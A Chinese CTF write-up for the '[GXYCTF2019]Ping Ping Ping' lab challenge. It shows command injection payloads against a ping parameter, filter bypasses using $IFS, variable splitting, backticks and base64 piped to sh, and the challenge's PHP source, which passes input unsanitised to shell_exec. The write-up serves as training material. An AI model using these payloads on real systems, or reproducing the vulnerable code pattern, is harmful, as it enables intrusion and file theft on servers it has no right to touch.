[GXYCTF2019]Ping Ping Ping

环境

BUUCTF在线环境,启动靶机,获取链接。
http://2a75a4ba-d141-403c-b4f6-7fba7cd0d13d.node4.buuoj.cn:81/

解题思路

访问链接,有提示有ip参数,题目名又是ping,所以猜测考点是命令执行。在这里插入图片描述
先看看ping www.baidu.com的结果。
根据结果,我们判断的不错,是ping命令执行。可以通过管道符执行多条语句。
先试试127.0.0.1|whoami
|是将前面命令执行的结果输出作为后面命令的输入,进而可以执行whoami命令。
在这里插入图片描述
继续看看当前目录有什么文件。
127.0.0.1|ls
在这里插入图片描述
发现flag了,难道可以直接读取了吗?
试试看:127.0.0.1|cat flag.php
在这里插入图片描述
根据回显可以知道还是有过滤的,过滤空格。
但是我们可以通过$IFS$9''等来绕过空格。
在这里插入图片描述
但是过滤了符号,再试试另一个。
在这里插入图片描述
空格绕过了,但是还过滤了flag关键词。
经测试发现双写,通配符都过滤了,但是通过拆分变量可以绕过关键词绕过。
127.0.0.1;b=g;cat$IFS$9fla$b.php
在这里插入图片描述
flag藏在注释里面。。。。
在这里插入图片描述
最后看其他师傅的wp,发现我这是运气爆棚刚好就拆分变量猜对了,其他的都被过滤了,可以查看inde.php文件看到有哪些过滤。
在这里插入图片描述

/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

其他payload:

;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
;cat$IFS$1`ls`
;a=f;d=ag;c=l;cat$IFS$a$c$d.php

总结

注意细节,其他文件也需要看看;源码要看,不能只看页面回显;命令执行变量拼接;过滤 bash 用 sh 执行;内联执行,将反引号内命令的输出作为输入执行;空格绕过姿势;关键词过滤还可以编码绕过。

参考

https://blog.csdn.net/sinat_34761046/article/details/114698231
https://www.cnblogs.com/xhds/p/12587249.html

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值